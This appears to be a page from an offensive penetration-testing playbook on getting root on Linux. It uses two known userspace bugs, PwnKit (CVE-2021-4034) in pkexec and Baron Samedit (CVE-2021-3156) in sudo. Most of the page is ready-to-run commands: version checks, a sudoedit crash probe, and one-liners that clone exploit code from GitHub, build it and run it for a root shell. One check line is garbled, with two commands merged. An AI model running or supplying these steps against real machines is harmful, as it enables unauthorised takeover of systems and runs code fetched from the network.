Linux
One-Shot Local Root: PwnKit & Baron Samedit
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
What it is
Two near-universal userspace bugs that hand any local user a root shell with no special rights and no kernel risk. Unlike kernel exploits they will not panic the box, so reach for them early. PwnKit (CVE-2021-4034) abuses pkexec, present and SUID on almost every pre-2022 distro. Baron Samedit (CVE-2021-3156) abuses sudo itself, shipped by default for a decade. Both are cross-referenced in the CVE Vault.
PwnKit: is pkexec present and SUID?
ls -l /usr/bin/pkexec && pkexec --version
Self-contained exploit to root:
git clone https://github.com/ly4k/PwnKit && cd PwnKit && ./PwnKit
Baron Samedit: quick check (a segfault or "sudoedit:" error means vulnerable).
sudoedit -s '\' $(python3 -c 'print("A"*1000)')sudo --version | head -1
Vulnerable ranges: sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1.
Compile and run to root:
git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make && ./sudo-hax-me-a-sandwich
in playbooks